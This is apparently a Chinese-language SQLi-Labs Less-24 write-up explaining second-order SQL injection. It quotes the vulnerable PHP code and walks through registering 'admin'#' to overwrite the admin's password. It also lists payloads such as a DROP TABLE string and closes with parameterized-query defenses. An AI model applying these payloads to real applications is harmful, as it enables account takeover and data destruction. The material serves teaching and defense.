Level24,二次注入,原理
第一次输入的恶意数据被"安全地"存入数据库(经过了转义/过滤),第二次从数据库中取出该数据并拼接到新的 SQL 语句中时,没有再次过滤,从而触发注入。
核心特征:
| 对比项 | 一次注入(First-Order) | 二次注入(Second-Order) |
|---|---|---|
| 触发时机 | 第一次请求立即触发 | 第一次存,第二次用才触发 |
| 过滤情况 | 第一次没过滤或过滤被绕过 | 第一次过滤了,但第二次没过滤 |
| 检测难度 | 容易被扫描器发现 | 很难发现,需要业务逻辑配合 |
| 典型场景 | 搜索框、URL 参数 | 注册用户名、留言板、昵称修改 |
| SQLi-Labs | Less-1~22 | Less-24 |
二次注入最常见的场景:
1. 用户注册 用户名: admin'# 密码: 123456 → 服务器过滤后存入数据库(数据库里存的就是 admin'#) 2. 用户登录后修改密码 → 服务器从数据库读取用户名: admin'# → 直接拼进 UPDATE 语句 → 注入触发!
Less-24 是 SQLi-Labs 专门练习二次注入的关卡,包含两个文件:
login.php —— 登录login_create.php —— 注册新用户pass_change.php —— 修改密码php<?php
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
//$username= $_POST['username'] ;
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
if (!$row[0]== 0)
{
// 用户名已存在
}
else
{
if ($pass==$re_pass)
{
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
}
}
}
?>
关键点:
$username 使用了 mysql_escape_string() 过滤admin'#),因为 SQL 转义符 \ 不会被存储php<?php
session_start();
include("../sql-connections/sql-connect.php");
if (isset($_POST['submit']))
{
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
// ...
}
}
?>
核心漏洞:
php$username= $_SESSION["username"]; // ← 从 Session 读,而 Session 来自数据库
// 数据库里存的是 admin'#
// 所以 $username = "admin'#"
// ❌ 取出后没有再次转义,直接拼进 SQL!
sqlUPDATE users SET PASSWORD='$pass' WHERE username='admin'#' AND password='$curr_pass'
-- ↑ admin'# 从数据库取出
-- ↑ # 注释掉后面的 AND password=...
注意:pass_change.php 使用了 or die('固定字符串'),没有 mysql_error() 报错回显,因此不能直接通过报错注入爆数据,只能通过修改密码的方式利用。
提示
只注释掉它后面的内容,前面的 SET PASSWORD='hacked123' 完全不受影响。
phpfunction sqllogin(){
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
$res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
if ($row[1]) {
return $row[1]; // ← 返回数据库里的 username 字段(原始值!)
} else {
return 0;
}
}
$login = sqllogin();
if (!$login== 0)
{
$_SESSION["username"] = $login; // ← Session 里存入的是数据库原始值 admin'#
setcookie("Auth", 1, time()+3600);
header('Location: logged-in.php');
}
关键点:$row[1] 是从数据库读出的原始 username(如 admin'#),原封不动放进 Session,没有经过二次处理。
访问: http://localhost/sqli-labs-master/Less-24/login_create.php 用户名: admin'# 密码: 123456 确认密码: 123456
服务器执行的 SQL:
sql-- 检查用户名是否存在
select count(*) from users where username='admin\'#'
-- 返回 0,用户名不存在
-- 插入新用户
insert into users ( username, password) values("admin\'#", "123456")
-- 数据库里存的是: username='admin'#', password='123456'
-- (反斜杠是 SQL 转义符,实际存储时不保留)
结果:注册成功,页面显示 "New User created"
用户名: admin'# 密码: 123456
这里更改完密码后登录原账号还是原来的密码
服务器验证:
sqlSELECT * FROM users WHERE username='admin\'#' and password='123456'
-- SQL 解析时,'admin\'#' 被解析为 admin'#(转义后的单引号就是普通单引号)
-- 与数据库中存储的 username='admin'# 完全匹配
-- 查询成功,返回 $row[1] = 'admin'#'
登录后:$_SESSION['username'] = 'admin'#
当前密码: 123456 新密码: hacked123 确认新密码: hacked123
这里更改完密码后登录原账号还是原来的密码
服务器执行的 SQL:
sqlUPDATE users SET PASSWORD='hacked123'
WHERE username='admin'#' AND password='123456'
-- ↑ # 注释掉后面的 AND password='123456'
-- 实际执行:
UPDATE users SET PASSWORD='hacked123' WHERE username='admin'
结果:所有 username='admin' 的密码都被改成了 hacked123!
包括真正的 admin 用户


sqlinsert into users ( username, password) values("admin\'#", "123456")
admin\'# 被双引号包裹\' 在 SQL 字符串中就是普通单引号username='admin'#sqlUPDATE users SET PASSWORD='xxx' WHERE username='admin'#' AND password='yyy'
-- ↑ 这里 admin'# 不再被引号包裹!
-- 它本身就是拼接进去的字符串值
-- 但包含了 ' 和 #
-- ' 闭合了前面的引号
-- # 注释掉了后面
第一次是"数据",第二次变成了"代码"的一部分!
用户输入: admin'# ↓ 第一次处理(注册): mysql_escape_string 转义后存入数据库 ↓ 数据库中存储: username = 'admin'#' ↓ 第二次取出使用(改密码): 从 Session 读取,作为"代码"拼进 SQL ↓ SQL 语义改变: 'admin' 变成 admin,# 变成注释符 ↓ 注入成功!
| 语句类型 | 在二次注入中的角色 | 示例 |
|---|---|---|
INSERT | 第一次存储恶意数据 | INSERT INTO users VALUES ('admin'#', 'pass') |
SELECT | 第二次读取数据 | SELECT username FROM users WHERE id=1 |
UPDATE | 第二次触发注入 | UPDATE users SET pass='x' WHERE username='admin'# |
DELETE | 也可能触发 | DELETE FROM logs WHERE user='admin'#' |
| 函数 | 作用 | 为什么防不了二次注入 |
|---|---|---|
mysql_real_escape_string() | 转义特殊字符 | 第一次转义后存入 DB,但第二次从 DB 取出时不会自动转义 |
mysql_escape_string() | 转义特殊字符(不检查连接字符集) | 同上,只防一次,不防二次 |
addslashes() | 加反斜杠转义 | 同上,只防一次,不防二次 |
intval() | 转整数 | 对字符串用户名无效 |
htmlspecialchars() | 转 HTML 实体 | 防 XSS,不防 SQL 注入 |
php// ❌ 错误:拼接 SQL
$sql = "UPDATE users SET password='$new_pass' WHERE username='$username'";
// ✅ 正确:参数化查询
$stmt = $pdo->prepare("UPDATE users SET password=? WHERE username=?");
$stmt->execute([$new_pass, $username]);
参数化查询把"数据"和"代码"彻底分离,即使 $username 是 admin'#,也只会被当成纯数据处理。
php// 从数据库取出后,再次转义!
$username = mysql_real_escape_string($_SESSION['username']);
$sql = "UPDATE users SET password='$new_pass' WHERE username='$username'";
但这不是最佳实践,容易遗漏,且代码冗余。
使用 Laravel Eloquent、Django ORM 等框架,底层自动参数化,从根本上杜绝二次注入。
| 场景 | 第一次操作 | 第二次操作 | 危害 |
|---|---|---|---|
| 用户注册/改密 | 注册 admin'# | 修改密码 | 修改 admin 密码 |
| 昵称/签名修改 | 设置昵称为 ' OR '1'='1 | 后台统计查询 | 越权查看数据 |
| 留言板/评论 | 留言 '; DROP TABLE users; # | 后台审核展示 | 删库 |
| 文件上传记录 | 文件名包含 ' | 后台按文件名查询 | 注入 |
| API 参数缓存 | 参数存入缓存 | 定时任务读取执行 | 注入 |
注册页面 (login_create.php) ↓ 输入用户名: admin'# 输入密码: 123456 ↓ mysql_escape_string 转义 → admin\'# ↓ insert ... values("admin\'#", "123456") ↓ 数据库存储: username='admin'#', password='123456' ↓ 登录页面 (login.php) ↓ 用 admin'# / 123456 登录 ↓ mysql_real_escape_string → admin\'# ↓ SELECT * FROM users WHERE username='admin\'#' and password='123456' ↓ SQL解析: username='admin'#', password='123456' → 匹配成功! ↓ $row[1] = 'admin'#', $_SESSION["username"] = 'admin'#' ↓ 修改密码页面 (pass_change.php) ↓ $username = $_SESSION["username"] // = "admin'#" -- ❌ 没有转义!直接拼进SQL! ↓ UPDATE users SET PASSWORD='hacked123' WHERE username='admin'#' AND password='123456' ↓ # 注释掉 AND 条件 ↓ 实际执行: UPDATE users SET PASSWORD='hacked123' WHERE username='admin' ↓ admin 的密码被修改! ↓ 用 admin / hacked123 登录真正的 admin 账户
二次注入不一般,第一次存第二次算 注册个 admin'#,数据库里存得安 改密码时取出来,拼进 UPDATE 就完蛋 ' 闭合 # 注释,条件后面全删完 参数化查询是根本,数据代码要分家